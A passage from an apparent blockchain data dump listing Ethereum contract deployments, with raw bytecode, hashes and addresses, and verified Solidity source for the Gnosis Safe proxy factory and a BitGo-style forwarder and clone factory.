4610c8a576040516282b42960e81b815260040160405180910390fd5b6001600160a01b038116610cb1576040516349e27cff60e01b815260040160405180910390fd5b600080546001600160a01b0319166001600160a01b0383169081178255604051909133917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a350565b6000610d297f0000000000000000000000000000000000000000000000000000000000000012600a611758565b905090565b600080610d39610cfc565b6001600160a01b038087166000818152600460205260408082208054948a1683529082205492825293945091929091869190610d758386611566565b90915550506001600160a01b038087166000818152600460205260408120805489019055549091169003610def5760405162461bcd60e51b815260206004820181905260248201527f43616e27742073656e6420746f206f726967696e61746f722061646472657373604482015260640160405180910390fd5b6000546001600160a01b03888116911614610e87576001600160a01b0387166000908152600b602052604090205460ff16610e87576001600160a01b038716600090815260046020526040812054610e48908590611767565b610e528585611767565b610e5c9190611566565b905060005b81811015610e8457610e7289610ff9565b80610e7c81611789565b915050610e61565b50505b6001600160a01b0386166000908152600b602052604090205460ff16610f0c576000610eb38483611767565b6001600160a01b038816600090815260046020526040902054610ed7908690611767565b610ee19190611566565b905060005b81811015610f0957610ef788611121565b80610f0181611789565b915050610ee6565b50505b856001600160a01b0316876001600160a01b03167fe59fdd36d0d223c0c7d996db7ad796880f45e1936cb0bb7ac102e7082e03148787604051610f5191815260200190565b60405180910390a35060019695505050505050565b60606000610f738361122c565b600101905060008167ffffffffffffffff811115610f9357610f936117a2565b6040519080825280601f01601f191660200182016040528015610fbd576020820181803683370190505b5090508181016020015b600019016f181899199a1a9b1b9c1cb0b131b232b360811b600a86061a8153600a8504945084610fc757509392505050565b6001600160a01b03811661102057604051636edaef2f60e11b815260040160405180910390fd5b6001600160a01b0381166000908152600960205260408120805461104690600190611566565b8154811061105657611056611579565b9060005260206000200154905060096000836001600160a01b03166001600160a01b031681526020019081526020016000208054806110975761109761158f565b600082815260208082208301600019908101839055909201909255828252600a815260408083208390556008825280832080546001600160a01b031990811690915560069092528083208054909216909155518291906001600160a01b038516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908390a45050565b6001600160a01b03811661114857604051634e46966960e11b815260040160405180910390fd5b60038054600101908190556000818152600860205260409020546001600160a01b0316156111895760405163119b4fd360e11b815260040160405180910390fd5b600081815260086020908152604080832080546001600160a01b0319166001600160a01b0387169081179091558084526009835290832080546001818101835582865293852001859055925290546111e19190611566565b6000828152600a602052604080822092909255905182916001600160a01b038516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b60008072184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b831061126b5772184f03e93ff9f4daa797ed6e38ed64bf6a1f0160401b830492506040015b6d04ee2d6d415b85acef81000000008310611297576d04ee2d6d415b85acef8100000000830492506020015b662386f26fc1000083106112b557662386f26fc10000830492506010015b6305f5e10083106112cd576305f5e100830492506008015b61271083106112e157612710830492506004015b606483106112f3576064830492506002015b600a83106105855760010192915050565b60005b8381101561131f578181015183820152602001611307565b50506000910152565b6020815260008251806020840152611347816040850160208701611304565b601f01601f19169190910160400192915050565b60006020828403121561136d57600080fd5b5035919050565b80356001600160a01b0381168114610ada57600080fd5b6000806040838503121561139e57600080fd5b6113a783611374565b946020939093013593505050565b6000806000606084860312156113ca57600080fd5b6113d384611374565b92506113e160208501611374565b9150604084013590509250925092565b6000806040838503121561140457600080fd5b61140d83611374565b91506020830135801515811461142257600080fd5b809150509250929050565b60006020828403121561143f57600080fd5b610b6582611374565b60008060008060006080868803121561146057600080fd5b61146986611374565b945061147760208701611374565b935060408601359250606086013567ffffffffffffffff8082111561149b57600080fd5b818801915088601f8301126114af57600080fd5b8135818111156114be57600080fd5b8960208285010111156114d057600080fd5b9699959850939650602001949392505050565b600080604083850312156114f657600080fd5b6114ff83611374565b915061150d60208401611374565b90509250929050565b600181811c9082168061152a57607f821691505b60208210810361154a57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561058557610585611550565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052603160045260246000fd5b6000602082840312156115b757600080fd5b81516001600160e01b031981168114610b6557600080fd5b6001600160a01b038681168252851660208201526040810184905260806060820181905281018290526000828460a0840137600060a0848401015260a0601f19601f85011683010190509695505050505050565b7f68747470733a2f2f65746865676f6275732e65676f7261732e636f6d2f746f6b815262656e2f60e81b602082015260008251611667816023850160208701611304565b9190910160230192915050565b600181815b808511156116af57816000190482111561169557611695611550565b808516156116a257918102915b93841c9390800290611679565b509250929050565b6000826116c657506001610585565b816116d357506000610585565b81600181146116e957600281146116f35761170f565b6001915050610585565b60ff84111561170457611704611550565b50506001821b610585565b5060208310610133831016604e8410600b8410161715611732575081810a610585565b61173c8383611674565b806000190482111561175057611750611550565b029392505050565b6000610b6560ff8416836116b7565b60008261178457634e487b7160e01b600052601260045260246000fd5b500490565b60006001820161179b5761179b611550565b5060010190565b634e487b7160e01b600052604160045260246000fdfea2646970667358221220faf5ebaf3ceceb666af793fe66424bf050d7138d10f089412738af3eba370c0464736f6c63430008140033
| |
1 | 19,502,196 |
1c3a5d2396cd6a0548d29e57f0550019ebf7c768bbd1711875b15044c898564d
|
64269f58145c1084254d32dfea78908ee351d612ba591d480a79624c145c7b02
|
a9a0b8a5e1adca0caccc63a168f053cd3be30808
|
01cd62ed13d0b666e2a10d13879a763dfd1dab99
|
a52f84e5f180d9af4bcf41bd89499b56559e9045
|
3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3
| |
1 | 19,502,201 |
55005d35e864ce0678a7d41ddf27b2c2b58f3ad9533e5f0c2b993755888b2422
|
87ca80476ef6a1085f9d38cb1398a1d19f4725c04900066491c7524a93b74ed0
|
2af181174fab352b0dd40861ae0aed5547cc233d
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
9df5b283f04e14e4fb9365f362071f56fd7f0a68
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,201 |
55005d35e864ce0678a7d41ddf27b2c2b58f3ad9533e5f0c2b993755888b2422
|
5e03051ca9d2e074749695b8ffe77f8f4efcba74b272b1ce2eacc57c6cd5affd
|
d2c82f2e5fa236e114a81173e375a73664610998
|
ffa397285ce46fb78c588a9e993286aac68c37cd
|
2dca6267e77a45378bf71a403f3d4a2af6e6b807
|
3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3
|
pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
}
|
1 | 19,502,201 |
55005d35e864ce0678a7d41ddf27b2c2b58f3ad9533e5f0c2b993755888b2422
|
41f3d5c1a8075755b9d4fa124cc908785e32a26e82d834c47d1ae658764e9714
|
c08dae6f20698de93d79899e079e0327ddc8dfb7
|
a6b71e26c5e0845f74c812102ca7114b6a896ab2
|
3dc9aa2c9b8c93a92814b7082351998d8a94acb4
|
608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552
|
608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033
|
// SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <richard@gnosis.io>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <stefan@gnosis.io>
/// @author Richard Meissner - <richard@gnosis.io>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <stefan@gnosis.pm>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
}
|
1 | 19,502,213 |
ed9a51517ecc82ff69a7f9465ae1d5d40e4faa0e527bec3b50d8620c47e77e76
|
b66d7ca524c78b86311eab5541968d404bad45bf0b85f886adf1077b51ce06ad
|
ebfe111b2e20f2b5093df734d69a0df11e6491a8
|
ebfe111b2e20f2b5093df734d69a0df11e6491a8
|
fadb5476b4936c201f752ab8f6a3f6708e9b9dae
|
608060405261270f60085560f36009556005600a553480156200002157600080fd5b5060405162001339380380620013398339818101604052810190620000479190620000e5565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550816009819055508260088190555080600a8190555050505062000141565b600080fd5b6000819050919050565b620000bf81620000aa565b8114620000cb57600080fd5b50565b600081519050620000df81620000b4565b92915050565b600080600060608486031215620001015762000100620000a5565b5b60006200011186828701620000ce565b93505060206200012486828701620000ce565b92505060406200013786828701620000ce565b9150509250925092565b6111e880620001516000396000f3fe608060405234801561001057600080fd5b506004361061009e5760003560e01c8063ca907f2b11610066578063ca907f2b14610137578063de9375f214610155578063e13b468e14610173578063e8068e441461018f578063f3fef3a3146101ae5761009e565b806313af4035146100a35780631ebaa3a1146100bf57806328f2fe0c146100dd5780638da5cb5b146100fb578063a62aca1e14610119575b600080fd5b6100bd60048036038101906100b89190610b7d565b6101ca565b005b6100c761032d565b6040516100d49190610bc3565b60405180910390f35b6100e5610333565b6040516100f29190610bc3565b60405180910390f35b610103610339565b6040516101109190610bed565b60405180910390f35b61012161035f565b60405161012e9190610bed565b60405180910390f35b61013f610385565b60405161014c9190610bc3565b60405180910390f35b61015d61038b565b60405161016a9190610bed565b60405180910390f35b61018d60048036038101906101889190610b7d565b6103af565b005b610197610519565b6040516101a5929190610c08565b60405180910390f35b6101c860048036038101906101c39190610c5d565b61080d565b005b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461025b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161025290610cfa565b60405180910390fd5b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016102e090610d66565b60405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600a5481565b60095481565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600073ffffffffffffffffffffffffffffffffffffffff16600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146